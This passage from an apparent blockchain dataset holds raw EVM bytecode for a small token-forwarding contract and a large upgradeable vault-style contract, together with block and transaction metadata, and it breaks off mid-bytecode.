60806040526004361061002c575f3560e01c80639e281a9814610035578063d3f4520a1461005d57610033565b3661003357005b005b348015610040575f80fd5b5061005b6004803603810190610056919061026c565b610085565b005b348015610068575f80fd5b50610083600480360381019061007e91906102aa565b61015b565b005b8173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb733da6a6266eca3cd126599ac7e64d4c9b1ac414d6836040516024016100c89291906102f3565b6040516020818303038152906040529060e01b6020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040516101169190610386565b5f604051808303815f865af19150503d805f811461014f576040519150601f19603f3d011682016040523d82523d5f602084013e610154565b606091505b5050505050565b5f733da6a6266eca3cd126599ac7e64d4c9b1ac414d673ffffffffffffffffffffffffffffffffffffffff1682604051610194906103bf565b5f6040518083038185875af1925050503d805f81146101ce576040519150601f19603f3d011682016040523d82523d5f602084013e6101d3565b606091505b505090505050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f610208826101df565b9050919050565b610218816101fe565b8114610222575f80fd5b50565b5f813590506102338161020f565b92915050565b5f819050919050565b61024b81610239565b8114610255575f80fd5b50565b5f8135905061026681610242565b92915050565b5f8060408385031215610282576102816101db565b5b5f61028f85828601610225565b92505060206102a085828601610258565b9150509250929050565b5f602082840312156102bf576102be6101db565b5b5f6102cc84828501610258565b91505092915050565b6102de816101fe565b82525050565b6102ed81610239565b82525050565b5f6040820190506103065f8301856102d5565b61031360208301846102e4565b9392505050565b5f81519050919050565b5f81905092915050565b5f5b8381101561034b578082015181840152602081019050610330565b5f8484015250505050565b5f6103608261031a565b61036a8185610324565b935061037a81856020860161032e565b80840191505092915050565b5f6103918284610356565b915081905092915050565b50565b5f6103aa5f83610324565b91506103b58261039c565b5f82019050919050565b5f6103c98261039f565b915081905091905056fea26469706673582212209bd29fb397bb80723b93ba4626d49ed4f3878a2b7f720ab6296ba3caff0b452264736f6c63430008140033 | |
1 | 19,493,864 | 9560652dc16b2bc24352d325799df2f3f5be430c447faee3dd331933e69b63f8 | b098925cbd2d08cf181616c558167dca47054409d6733f0dc21be242454a1f75 | 0cdb34e6a4d635142bb92fe403d38f636bbb77b8 | 0cdb34e6a4d635142bb92fe403d38f636bbb77b8 | 78edd9f88e7e6345727f6a39ecb7d5e86b62fa24 | 60806040523480156200001157600080fd5b506200001c62000022565b620000e4565b600054610100900460ff16156200008f5760405162461bcd60e51b815260206004820152602760248201527f496e697469616c697a61626c653a20636f6e747261637420697320696e697469604482015266616c697a696e6760c81b606482015260840160405180910390fd5b60005460ff9081161015620000e2576000805460ff191660ff9081179091556040519081527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b565b6155b480620000f46000396000f3fe6080604052600436106103475760003560e01c80638456cb59116101b2578063b67b6df3116100ed578063e437ad0311610090578063e437ad0314610b09578063e6ec638b14610b29578063e7b9b93d14610b49578063efbd906014610b5f578063f23f569c14610b75578063f2fde38b14610b95578063f9051b7214610bb5578063fa8da92114610bd557600080fd5b8063b67b6df314610a13578063b702c60c14610a33578063be18a63e14610a53578063c415b95c14610a73578063ce7319ae14610a93578063d7b777a014610ab3578063de3fcde914610ad3578063e2a578cd14610ae957600080fd5b8063a8f50a4411610155578063a8f50a4414610935578063ab9c799714610948578063ad5c464814610968578063ad8fab3214610988578063ae12213b146109a8578063b0e21e8a146109c8578063b3944d52146109de578063b4606bab146109f357600080fd5b80638456cb59146107bc5780638c466507146107d15780638cbfff00146107f15780638da5cb5b14610811578063910a38241461082f578063960a8a611461084f578063a4063dbc1461086f578063a83b67d11461091557600080fd5b8063415bbe8a11610282578063698766ee11610225578063698766ee1461068f578063715018a6146106af578063719e5ff1146106c457806378f18bc8146106e457806379af55e4146107045780637cf738d2146107245780637eaa176c1461074457806382dabb211461079c57600080fd5b8063415bbe8a146105a157806342c1e587146105b757806342f86dd3146105d75780634a9d7127146105f75780635c975abb14610617578063612be6a21461063a57806362190fde1461065a578063635202741461067a57600080fd5b806331f61254116102ea57806331f61254146104c0578063323b309a146104e057806332e525f5146105005780633c41d5ab146105205780633d38b3a7146105405780633f3e2b11146105555780633f4ba83a146105755780633fd8b02f1461058a57600080fd5b80630edd75d2146103b75780630fe79ee4146103dd578063167948e01461040a5780631a2d5e6e146104205780631fed695514610440578063206aeab31461046057806324e7a688146104805780633043fed0146104a057600080fd5b366103b25760ca60009054906101000a90046001600160a01b03166001600160a01b031663d0e30db0346040518263ffffffff1660e01b81526004016000604051808303818588803b15801561039c57600080fd5b505af11580156103b0573d6000803e3d6000fd5b005b600080fd5b6103ca6103c5366004614823565b610bf5565b6040519081526020015b60405180910390f35b3480156103e957600080fd5b506103fd6103f8366004614864565b610d2b565b6040516103d4919061487d565b34801561041657600080fd5b506103ca60da5481565b34801561042c57600080fd5b506103b061043b3660046148a6565b610d55565b34801561044c57600080fd5b506103b061045b3660046149dd565b610ea1565b34801561046c57600080fd5b5060d4546103fd906001600160a01b031681565b34801561048c57600080fd5b506103b061049b366004614a5c565b61120b565b3480156104ac57600080fd5b506103b06104bb366004614864565b611235565b3480156104cc57600080fd5b506103b06104db366004614a79565b611265565b3480156104ec57600080fd5b506103b06104fb366004614aba565b6113d9565b34801561050c57600080fd5b506103b061051b366004614b0b565b611573565b34801561052c57600080fd5b5060ce546103fd906001600160a01b031681565b34801561054c57600080fd5b506103ca6116ce565b34801561056157600080fd5b506103b0610570366004614a79565b61174e565b34801561058157600080fd5b506103b06117ff565b34801561059657600080fd5b506103ca6101105481565b3480156105ad57600080fd5b506103ca60d95481565b3480156105c357600080fd5b5060cf546103fd906001600160a01b031681565b3480156105e357600080fd5b506103b06105f2366004614b44565b61183d565b34801561060357600080fd5b5060cd546103fd906001600160a01b031681565b34801561062357600080fd5b5060975460ff1660405190151581526020016103d4565b34801561064657600080fd5b5060cc546103fd906001600160a01b031681565b34801561066657600080fd5b506103b0610675366004614a5c565b611925565b34801561068657600080fd5b506103ca6119b2565b34801561069b57600080fd5b506103b06106aa366004614b9a565b611a29565b3480156106bb57600080fd5b506103b0611ae5565b3480156106d057600080fd5b506103b06106df366004614864565b611af9565b3480156106f057600080fd5b506103b06106ff366004614c28565b611d51565b34801561071057600080fd5b506103b061071f366004614864565b612017565b34801561073057600080fd5b5060c9546103fd906001600160a01b031681565b34801561075057600080fd5b5061076461075f366004614864565b6120af565b604080519586526001600160a01b0390941660208601529115159284019290925290151560608301521515608082015260a0016103d4565b3480156107a857600080fd5b5060d1546103fd906001600160a01b031681565b3480156107c857600080fd5b506103b0612107565b3480156107dd57600080fd5b5060e0546103fd906001600160a01b031681565b3480156107fd57600080fd5b506103b061080c366004614a5c565b61213e565b34801561081d57600080fd5b506033546001600160a01b03166103fd565b34801561083b57600080fd5b506103b061084a366004614a5c565b612168565b34801561085b57600080fd5b506103b061086a366004614ce0565b612192565b34801561087b57600080fd5b506108d361088a366004614a5c565b60d5602052600090815260409020805460018201546002830154600384015460048501546005909501546001600160a01b03948516959385169492831693919092169160ff1686565b604080516001600160a01b03978816815295871660208701529386169385019390935293166060830152608082019290925290151560a082015260c0016103d4565b34801561092157600080fd5b506103b0610930366004614a5c565b612292565b6103ca610943366004614d42565b6122ec565b34801561095457600080fd5b506103b0610963366004614d8d565b612448565b34801561097457600080fd5b5060ca546103fd906001600160a01b031681565b34801561099457600080fd5b5060cb546103fd906001600160a01b031681565b3480156109b457600080fd5b506103b06109c3366004614864565b6125d7565b3480156109d457600080fd5b506103ca60db5481565b3480156109ea57600080fd5b5060d6546103ca565b3480156109ff57600080fd5b5060d2546103fd906001600160a01b031681565b348015610a1f57600080fd5b506103b0610a2e366004614a5c565b61261e565b348015610a3f57600080fd5b506103b0610a4e366004614a5c565b612678565b348015610a5f57600080fd5b5060d3546103fd906001600160a01b031681565b348015610a7f57600080fd5b5060dc546103fd906001600160a01b031681565b348015610a9f57600080fd5b506103b0610aae366004614de0565b6126a2565b348015610abf57600080fd5b5060df546103fd906001600160a01b031681565b348015610adf57600080fd5b506103ca60d75481565b348015610af557600080fd5b5060de546103fd906001600160a01b031681565b348015610b1557600080fd5b5060dd546103fd906001600160a01b031681565b348015610b3557600080fd5b506103b0610b44366004614b0b565b6126ea565b348015610b5557600080fd5b506103ca60e15481565b348015610b6b57600080fd5b506103ca60d05481565b348015610b8157600080fd5b506103b0610b903660046148a6565b61279f565b348015610ba157600080fd5b506103b0610bb0366004614a5c565b612871565b348015610bc157600080fd5b506103b0610bd0366004614864565b6128ea565b348015610be157600080fd5b506103b0610bf0366004614823565b61291a565b6000610bff612b55565b60c9546040516370a0823160e01b81526000916001600160a01b0316906370a0823190610c3090309060040161487d565b602060405180830381865afa158015610c4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c719190614e2b565b60d15460c954919250610c91916001600160a01b03908116911683612baf565b6000610c9b612ce9565b60d154604051631988e37760e31b81529192506001600160a01b03169063cc471bb8903490610cd490869086908b908b90600401614e44565b60206040518083038185885af1158015610cf2573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610d179190614e97565b6001600160801b0316925050505b92915050565b60d68181548110610d3b57600080fd5b6000918252602090912001546001600160a01b0316905081565b600054610100900460ff1615808015610d755750600054600160ff909116105b80610d8f5750303b158015610d8f575060005460ff166001145b610db45760405162461bcd60e51b8152600401610dab90614ec0565b60405180910390fd5b6000805460ff191660011790558015610dd7576000805461ff0019166101001790555b610ddf612cfd565b610de7612d2c565b610def612d5b565b60c980546001600160a01b03199081166001600160a01b038a81169190911790925560ca8054821689841617905560ce8054821685841617905560d18054821688841617905560d28054821687841617905560d480549091169185169190911790558015610e98576000805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb3847402498906020015b60405180910390a15b50505050505050565b610ea9612b55565b6001600160a01b038416600090815260d5602052604090206005015460ff1615610ee6576040516333b1990560e11b815260040160405180910390fd5b60ce54604051630639860b60e51b815260009173ae8e4bc88f792297a808cb5f32d4950fbbd8aeba9163c730c16091610f319189916001600160a01b03169088908890600401614f5e565b602060405180830381865af4158015610f4e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f729190614f9c565b60ce5460c954604051631d9f877360e11b81529293506000926001600160a01b0392831692633b3f0ee692610faf92879290911690600401614fb9565b6020604051808303816000875af1158015610fce573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ff29190614f9c565b60cd546040516353d6103d60e01b81529192506001600160a01b0316906353d6103d906110289089908590600190600401614fd3565b600060405180830381600087803b15801561104257600080fd5b505af1158015611056573d6000803e3d6000fd5b505060ce5460405163266f24b760e01b8152600481018990526001600160a01b038a8116602483015286811660448301528581166064830152909116925063266f24b79150608401600060405180830381600087803b1580156110b857600080fd5b505af11580156110cc573d6000803e3d6000fd5b50506040805160c0810182526001600160a01b038a8116808352868216602080850182815260cd5485168688019081528b861660608089018281524260808b01908152600160a08c0181815260008b815260d58a528e81209d518e546001600160a01b0319908116918f16919091178f5598518e840180548b16918f16919091179055965160028e0180548a16918e16919091179055925160038d018054891691909c1617909a555160048b0155516005909901805460ff19169915159990991790985560d6805497880181559091527fe767803f8ecf1dee6bb0345811f7312cda556058b19db6389ad9ae3568643ddd9095018054909116841790558551928352820152928301527f4c61bab17e59e06eb29c0659ba5f68dc5bc003d57587a7280d98d532d2bf312a935001905060405180910390a1505050505050565b611213612b55565b60cc80546001600160a01b0319166001600160a01b0392909216919091179055565b61123d612b55565b61384081111561126057604051636f1d586b60e01b815260040160405180910390fd5b60d055565b6002606554036112875760405162461bcd60e51b8152600401610dab90614ff7565b6002606555611294612d8a565b6001600160a01b03838116600090815260d560205260409020600281015485921633146112d457604051630c41ae1360e41b815260040160405180910390fd5b6001600160a01b03808616600090815260d560205260408120805490926112fd92911690612dd0565b6003810154604051632770a7eb60e21b81526001600160a01b0390911690639dc29fac90611331908890889060040161502e565b600060405180830381600087803b15801561134b57600080fd5b505af115801561135f573d6000803e3d6000fd5b5050825461137a92506001600160a01b0316905086866132ff565b600381015460408051868152602081018790526001600160a01b039283169289811692908916917fbae0543fc4bf2babacb67049151541b087a2a4da5d699d396cb271009390e2d2910160405180910390a45050600160655550505050565b6002606554036113fb5760405162461bcd60e51b8152600401610dab90614ff7565b6002606555611408612d8a565b6001600160a01b03848116600090815260d5602052604090206002810154869216331461144857604051630c41ae1360e41b815260040160405180910390fd5b600581015460ff1661146d57604051636a325bd960e11b815260040160405180910390fd5b6001600160a01b03808716600090815260d5602052604081208054909261149692911690612dd0565b80546114ad906001600160a01b031686308761331e565b60038101546040516340c10f1960e01b81526001600160a01b03909116906340c10f19906114e1908990889060040161502e565b600060405180830381600087803b1580156114fb57600080fd5b505af115801561150f573d6000803e3d6000fd5b50505050600381015460408051868152602081018790526001600160a01b03928316928a811692908a16917fc9bc689e1fe6f1a599d618c1d5b7a496dfd42ddd4742c79b9e31265b5bb7322b910160405180910390a4505060016065555050505050565b61157b612b55565b6001600160a01b038216600090815260d560205260409020600581015483919060ff166115bb57604051636a325bd960e11b815260040160405180910390fd5b6001600160a01b03831615806115d857506001600160a01b038416155b156115f65760405163e6c4247b60e01b815260040160405180910390fd5b6001600160a01b03848116600090815260d56020526040908190206002810180546001600160a01b0319168785169081179091556001820154600583015493516353d6103d60e01b8152929491936353d6103d9361165e938b93169160ff1690600401614fd3565b600060405180830381600087803b15801561167857600080fd5b505af115801561168c573d6000803e3d6000fd5b505050507fce3a680d01747abb9461a3d05f1da77c9cfb9a5b7a6cc1828c733dc52b154797846040516116bf919061487d565b60405180910390a15050505050565b60d1546040516370a0823160e01b81526000916001600160a01b0316906370a08231906116ff90309060040161487d565b602060405180830381865afa15801561171c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117409190614e97565b6001600160801b0316905090565b611756612d8a565b6001600160a01b038316600090815260d560205260409020600581015484919060ff1661179657604051636a325bd960e11b815260040160405180910390fd5b6040805160018082528183019092526000916020808301908036833701905050905085816000815181106117cc576117cc615047565b60200260200101906001600160a01b031690816001600160a01b0316815250506117f781868661335c565b505050505050565b6002606554036118215760405162461bcd60e51b8152600401610dab90614ff7565b600260655561182e612b55565b611836613a6b565b6001606555565b611845612b55565b6127106118528386615073565b1115611871576040516358d620b360e01b815260040160405180910390fd5b61271061187e8385615073565b111561189d576040516358d620b360e01b815260040160405180910390fd5b60d380546001600160a01b038781166001600160a01b0319928316811790935560da87905560e186905560db85905560dc8054918516919092168117909155604080519283526020830187905282018590526060820184905260808201527f21df36fcb21c91ab978e547b0b07a783b8640e4af05f7a83a11b88ce38253da39060a0016116bf565b61192d612b55565b6001600160a01b0381166119545760405163e6c4247b60e01b815260040160405180910390fd5b60df80546001600160a01b038381166001600160a01b0319831681179093556040519116917f93d91a44a19fab5f6ba1bd574636efa90c520e4cf06a6924b023f47e423c74f3916119a6918491614fb9565b60405180910390a15050565b60d254604051635305f82960e01b81526000916001600160a01b031690635305f829906119e390309060040161487d565b602060405180830381865afa158015611a00573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a249190614e2b565b905090565b60cf546001600160a01b03163314611a5457604051630316025160e11b815260040160405180910390fd5b828114611a77576040516001621398b960e31b0319815260040160405180910390fd5b60d3546040516334c3b37760e11b81526001600160a01b039091169063698766ee90611aad9087908790879087906004016150cf565b600060405180830381600087803b158015611ac757600080fd5b505af1158015611adb573d6000803e3d6000fd5b5050505050505050565b611aed612b55565b611af76000613ab7565b565b611b01612b55565b600060d88281548110611b1657611b16615047565b60009182526020918290206040805160a081018252600290930290910180548352600101546001600160a01b0381169383019390935260ff600160a01b84048116151591830191909152600160a81b8304811615156060830152600160b01b909204909116151560808201529050815b60d854611b959060019061513b565b811015611c995760d8611ba9826001615073565b81548110611bb957611bb9615047565b906000526020600020906002020160d88281548110611bda57611bda615047565b600091825260209091208254600290920201908155600191820180549290910180546001600160a01b031981166001600160a01b039094169384178255825460ff600160a01b91829004811615159091026001600160a81b0319909216909417178082558254600160a81b90819004851615150260ff60a81b198216811783559254600160b01b90819004909416151590930260ff60b01b1990921661ffff60a81b199093169290921717905580611c918161514e565b915050611b86565b5060d8805480611cab57611cab615167565b60008281526020812060026000199093019283020181815560010180546001600160b81b03191690559155815160d7805491929091611ceb90849061513b565b9091555050805160208083015160408085015160608087015183519687526001600160a01b03909416948601949094521515908401521515908201527ff8d0e93ab5bb2949217d7909d7a0a1c922cdebb049a6fe248eb99bbc63bcf0c0906080016119a6565b611d59612b55565b6001600160a01b038216600081815260d56020526040808220815163c4f59f9b60e01b8152915190939163c4f59f9b91600480830192869291908290030181865afa158015611dac573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052611dd4919081019061517d565b90508251815114611e0d5760405162461bcd60e51b815260206004820152600360248201526217171760e91b6044820152606401610dab565b60c9546040516370a0823160e01b81526000916001600160a01b0316906370a0823190611e3e90309060040161487d565b602060405180830381865afa158015611e5b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611e7f9190614e2b565b905060005b8251811015611f8b5760006001600160a01b0316838281518110611eaa57611eaa615047565b60200260200101516001600160a01b031603611f045760ca5483516001600160a01b0390911690849083908110611ee357611ee3615047565b60200260200101906001600160a01b031690816001600160a01b0316815250505b6000858281518110611f1857611f18615047565b60200260200101519050611f7887858481518110611f3857611f38615047565b60200260200101518760010160009054906101000a90046001600160a01b0316898681518110611f6a57611f6a615047565b602002602001015185613b09565b5080611f838161514e565b915050611e84565b5060c9546040516370a0823160e01b815260009183916001600160a01b03909116906370a0823190611fc190309060040161487d565b602060405180830381865afa158015611fde573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906120029190614e2b565b61200c919061513b565b90506117f781613f90565b600061202b6120268342615073565b6141ad565b60d1546040516364090f6160e11b8152600060048201526001600160801b03831660248201529192506001600160a01b03169063c8121ec2906044016020604051808303816000875af1158015612086573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906120aa9190614e97565b505050565b60d881815481106120bf57600080fd5b6000918252602090912060029091020180546001909101549091506001600160a01b0381169060ff600160a01b8204811691600160a81b8104821691600160b01b9091041685565b6002606554036121295760405162461bcd60e51b8152600401610dab90614ff7565b6002606555612136612b55565b6118366141c7565b612146612b55565b60e080546001600160a01b0319166001600160a01b0392909216919091179055565b612170612b55565b60cd80546001600160a01b0319166001600160a01b0392909216919091179055565b61219a612b55565b61271085106121bc576040516358d620b360e01b815260040160405180910390fd5b600060d887815481106121d1576121d1615047565b600091825260209091206002909102016001810180546001600160a01b0388166001600160a81b031990911617600160a01b871515021761ffff60a81b1916600160a81b8615150260ff60b01b191617600160b01b85151502179055805460d7549192508791612241919061513b565b61224b9190615073565b60d75585815560018101546040517f699b82e4ddf9d3de54305631548f438bd57da8b6d846366457d315c30b014ee791610e8f916001600160a01b0390911690899061502e565b61229a612b55565b60cb80546001600160a01b038381166001600160a01b0319831681179093556040519116917f276b041a78f78908446ffd3d9472af67a63628407e45b0401ebfecf5314e47a1916119a6918491614fb9565b60006122f6612d8a565b60006123006116ce565b905084600003612323576040516367a5a71760e11b815260040160405180910390fd5b60c95461233b906001600160a01b031633308861331e565b60d15460c954612358916001600160a01b03918216911687612baf565b6000612362612ce9565b60d154604051631988e37760e31b81529192506001600160a01b03169063cc471bb890349061239b908a9086908b908b90600401614e44565b60206040518083038185885af11580156123b9573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906123de9190614e97565b506000826123ea6116ce565b6123f4919061513b565b61011054604080518a8152602081019290925281018290529091507f7bf6450c3539f2501f46986ad366594cc5c2e900e8d3a65370ae749d7b7527da9060600160405180910390a1925050505b9392505050565b612450612b55565b6127108410612472576040516358d620b360e01b815260040160405180910390fd5b6040805160a0810182528581526001600160a01b03808616602083019081528515159383019384528415156060840190815260016080850181815260d8805492830181556000908152955160029092027f5320ad99a619a90804cd2efe3a5cf0ac1ac5c41ad9ff2c61cf699efdad77109681019290925592517f5320ad99a619a90804cd2efe3a5cf0ac1ac5c41ad9ff2c61cf699efdad77109790910180549651925193511515600160b01b0260ff60b01b19941515600160a81b029490941661ffff60a81b19931515600160a01b026001600160a81b031990981692909516919091179590951716919091171790915560d78054869290612575908490615073565b9091555050604080516001600160a01b0385168152602081018690528315159181019190915281151560608201527f95a34a443b17d09f6ff25c5a6d7423b1f076b1758d5cfbb826221972647e3ed8906080015b60405180910390a150505050565b6125df612b55565b61011080549082905560408051828152602081018490527f90bec2dbd8e4a597dd4ab85251c576d4e1f4a5bb7de5773af2e8ade016b4759291016119a6565b612626612b55565b60cf80546001600160a01b038381166001600160a01b0319831681179093556040519116917fd00cc5a8189e6650ae02d7f52d209c29732ed484b8e55577b96767de25c0ae9a916119a6918491614fb9565b612680612b55565b60ce80546001600160a01b0319166001600160a01b0392909216919091179055565b6126aa612d8a565b6120aa83838080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525033925085915061335c9050565b6126f2612b55565b60de80546001600160a01b03198082166001600160a01b0386811691821790945560dd80549283168686161790556040519284169391909116917fd82b4298ed526fb373b7d78beea021779079a1a4b27e5b46c4241e4115758c499161275a91859190614fb9565b60405180910390a160dd546040517f2cdef2dbe9dd5da2b962e95a6f96fffd5da74e39742c07e985b383a4bf95c433916125c99184916001600160a01b031690614fb9565b600054610100900460ff16158080156127bf5750600054600160ff909116105b806127d95750303b1580156127d9575060005460ff166001145b6127f55760405162461bcd60e51b8152600401610dab90614ec0565b6000805460ff191660011790558015612818576000805461ff0019166101001790555b612826878787878787610d55565b6303b53800610110558015610e98576000805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb384740249890602001610e8f565b612879612b55565b6001600160a01b0381166128de5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610dab565b6128e781613ab7565b50565b6128f2612b55565b612710811115612915576040516358d620b360e01b815260040160405180910390fd5b60d955565b306001600160a01b031663635202746040518163ffffffff1660e01b8152600401602060405180830381865afa158015612958573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061297c9190614e2b565b60000361299c57604051630da1ec0160e31b815260040160405180910390fd5b60db54158015906129b6575060dc546001600160a01b0316155b806129ca575060dd546001600160a01b0316155b156129e857604051630ad13b3360e21b815260040160405180910390fd5b60d254604051600162525fcd60e11b0319815260009182916001600160a01b039091169063ff5b406690612a249030908890889060040161520b565b6000604051808303816000875af1158015612a43573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052612a6b919081019061529f565b91509150600061271060db5484612a8291906152e5565b612a8c9190615312565b60dc5460ca54919250612aac916001600160a01b039081169116836132ff565b600061271060da5485612abf91906152e5565b612ac99190615312565b60ca54909150612ae3906001600160a01b031633836132ff565b600081612af0848761513b565b612afa919061513b565b60dd5460ca54919250612b1a916001600160a01b039081169116836132ff565b7f3dceb43957dc72b04d40eaf449ac8b867ea8d60ed7d860e9ba977921ab89b46685888887878787604051610e8f9796959493929190615326565b6033546001600160a01b03163314611af75760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610dab565b801580612c285750604051636eb1769f60e11b81526001600160a01b0384169063dd62ed3e90612be59030908690600401614fb9565b602060405180830381865afa158015612c02573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612c269190614e2b565b155b612c935760405162461bcd60e51b815260206004820152603660248201527f5361666545524332303a20617070726f76652066726f6d206e6f6e2d7a65726f60448201527520746f206e6f6e2d7a65726f20616c6c6f77616e636560501b6064820152608401610dab565b6120aa8363095ea7b360e01b8484604051602401612cb292919061502e565b60408051601f198184030181529190526020810180516001600160e01b03166001600160e01b031990931692909217909152614204565b6000611a2461011054426120269190615073565b600054610100900460ff16612d245760405162461bcd60e51b8152600401610dab90615397565b611af76142d6565b600054610100900460ff16612d535760405162461bcd60e51b8152600401610dab90615397565b611af7614306565b600054610100900460ff16612d825760405162461bcd60e51b8152600401610dab90615397565b611af761432d565b60975460ff1615611af75760405162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b6044820152606401610dab565b6001600160a01b038216600090815260d56020526040902081158015612e05575060d0546004820154612e03904261513b565b105b15612e0f57505050565b60c9546040516370a0823160e01b81526000916001600160a01b0316906370a0823190612e4090309060040161487d565b602060405180830381865afa158015612e5d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612e819190614e2b565b90504282600401819055506000846001600160a01b031663c4f59f9b6040518163ffffffff1660e01b8152600401600060405180830381865afa158015612ecc573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052612ef4919081019061517d565b9050600081516001600160401b03811115612f1157612f11614928565b604051908082528060200260200182016040528015612f3a578160200160208202803683370190505b50905060005b82518110156130755760006001600160a01b0316838281518110612f6657612f66615047565b60200260200101516001600160a01b031603612fc05760ca5483516001600160a01b0390911690849083908110612f9f57612f9f615047565b60200260200101906001600160a01b031690816001600160a01b0316815250505b828181518110612fd257612fd2615047565b60200260200101516001600160a01b03166370a08231306040518263ffffffff1660e01b8152600401613005919061487d565b602060405180830381865afa158015613022573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906130469190614e2b565b82828151811061305857613058615047565b60209081029190910101528061306d8161514e565b915050612f40565b50604051639262187b60e01b81526001600160a01b03871690639262187b906130a290309060040161487d565b6000604051808303816000875af11580156130c1573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526130e991908101906153e2565b5060005b82518110156132735760006001600160a01b031683828151811061311357613113615047565b60200260200101516001600160a01b03160361316d5760ca5483516001600160a01b039091169084908390811061314c5761314c615047565b60200260200101906001600160a01b031690816001600160a01b0316815250505b600083828151811061318157613181615047565b60200260200101516001600160a01b03166370a08231306040518263ffffffff1660e01b81526004016131b4919061487d565b602060405180830381865afa1580156131d1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906131f59190614e2b565b9050600083838151811061320b5761320b615047565b60200260200101518261321e919061513b565b905080801561325d5761325d8a87868151811061323d5761323d615047565b602090810291909101015160018b01546001600160a01b03168585613b09565b505050808061326b9061514e565b9150506130ed565b5060c9546040516370a0823160e01b815260009185916001600160a01b03909116906370a08231906132a990309060040161487d565b602060405180830381865afa1580156132c6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906132ea9190614e2b565b6132f4919061513b565b9050610e9881613f90565b6120aa8363a9059cbb60e01b8484604051602401612cb292919061502e565b6040516001600160a01b03808516602483015283166044820152606481018290526133569085906323b872dd60e01b90608401612cb2565b50505050565b60c9546040516370a0823160e01b815260009182916001600160a01b03909116906370a082319061339190309060040161487d565b602060405180830381865afa1580156133ae573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906133d29190614e2b565b905060005b85518110156138d65760d560008783815181106133f6576133f6615047565b6020908102919091018101516001600160a01b031682528101919091526040016000206005015460ff1661343d57604051636a325bd960e11b815260040160405180910390fd5b600060d5600088848151811061345557613455615047565b60200260200101516001600160a01b03166001600160a01b031681526020019081526020016000209050428160040181905550600087838151811061349c5761349c615047565b60200260200101516001600160a01b031663c4f59f9b6040518163ffffffff1660e01b8152600401600060405180830381865afa1580156134e1573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052613509919081019061517d565b9050600081516001600160401b0381111561352657613526614928565b60405190808252806020026020018201604052801561354f578160200160208202803683370190505b50905060005b825181101561368a5760006001600160a01b031683828151811061357b5761357b615047565b60200260200101516001600160a01b0316036135d55760ca5483516001600160a01b03909116908490839081106135b4576135b4615047565b60200260200101906001600160a01b031690816001600160a01b0316815250505b8281815181106135e7576135e7615047565b60200260200101516001600160a01b03166370a08231306040518263ffffffff1660e01b815260040161361a919061487d565b602060405180830381865afa158015613637573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061365b9190614e2b565b82828151811061366d5761366d615047565b6020908102919091010152806136828161514e565b915050613555565b5088848151811061369d5761369d615047565b60200260200101516001600160a01b0316639262187b306040518263ffffffff1660e01b81526004016136d0919061487d565b6000604051808303816000875af11580156136ef573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f1916820160405261371791908101906153e2565b5060005b82518110156138bf57600083828151811061373857613738615047565b60200260200101516001600160a01b03166370a08231306040518263ffffffff1660e01b815260040161376b919061487d565b602060405180830381865afa158015613788573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906137ac9190614e2b565b905060008383815181106137c2576137c2615047565b6020026020010151826137d5919061513b565b90508060008181036137ea57505050506138ad565b60c95487516001600160a01b039091169088908790811061380d5761380d615047565b60200260200101516001600160a01b03160361384d5761271060e1548461383491906152e5565b61383e9190615312565b905061384a818461513b565b91505b613857818c615073565b9a506138a88e8a8151811061386e5761386e615047565b602002602001015188878151811061388857613888615047565b602090810291909101015160018b01546001600160a01b03168686613b09565b505050505b806138b78161514e565b91505061371b565b5050505080806138ce9061514e565b9150506133d7565b5060c9546040516370a0823160e01b8152600091849184916001600160a01b0316906370a082319061390c90309060040161487d565b602060405180830381865afa158015613929573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061394d9190614e2b565b613957919061513b565b613961919061513b565b905061396c81613f90565b82156117f75760c95460e05460405163095ea7b360e01b81526001600160a01b039283169263095ea7b3926139a892911690879060040161502e565b6020604051808303816000875af11580156139c7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906139eb9190615416565b5060e05460c95460405163187179c960e11b81526001600160a01b039182166004820152602481018690526044810187905287821660648201529116906330e2f39290608401600060405180830381600087803b158015613a4b57600080fd5b505af1158015613a5f573d6000803e3d6000fd5b50505050505050505050565b613a73614360565b6097805460ff191690557f5db9ee0a495bf2e6ff9c91a7834c1ba4fdd244a5e8aa4